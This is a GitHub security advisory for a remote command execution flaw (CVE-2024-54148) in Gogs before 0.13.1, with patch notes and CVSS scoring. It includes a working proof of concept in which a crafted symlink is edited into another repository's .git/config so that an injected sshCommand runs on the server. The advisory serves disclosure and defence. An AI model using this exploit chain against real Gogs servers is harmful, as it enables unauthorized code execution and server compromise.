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Remote Command Execution in file editing in gogs

High severity GitHub Reviewed Published Dec 23, 2024 in gogs/gogs • Updated Dec 23, 2024

Package

gomod gogs.io/gogs (Go)

Affected versions

< 0.13.1

Patched versions

0.13.1

Description

Impact

The malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server.

Patches

Editing symlink while changing the file name has been prohibited via the repository web editor (gogs/gogs#7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

  1. Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.

  2. In the second repository, create a symbolic link to the file you need to edit:

    $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test
$ ls -la
total 8
drwxr-xr-x   5 dd  staff  160 Oct 27 19:09 .
drwxr-xr-x   4 dd  staff  128 Oct 27 19:06 ..
drwxr-xr-x  12 dd  staff  384 Oct 27 19:09 .git
-rw-r--r--   1 dd  staff   12 Oct 27 19:06 README.md
lrwxr-xr-x   1 dd  staff   44 Oct 27 19:09 test -> /data/gogs/data/tmp/local-repo/1/.git/config
$ git add .
$ git commit -m 'ddd'
$ git push -f

  3. Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed)

    [core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = echo pwnned > /tmp/poc
[remote "origin"]
url = [git@github.com](mailto:git@github.com):torvalds/linux.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master

  4. Go back to the first repo, edit something, and commit again, you can notice a file called /tmp/poc created on the server.

For more information

If you have any questions or comments about this advisory, please post on gogs/gogs#7582.

References

@unknwon unknwon published to gogs/gogs Dec 23, 2024
Published by the National Vulnerability Database Dec 23, 2024
Published to the GitHub Advisory Database Dec 23, 2024
Reviewed Dec 23, 2024
Last updated Dec 23, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Weaknesses

CVE ID

CVE-2024-54148

GHSA ID

GHSA-r7j8-5h9c-f6fx

Source code

Credits

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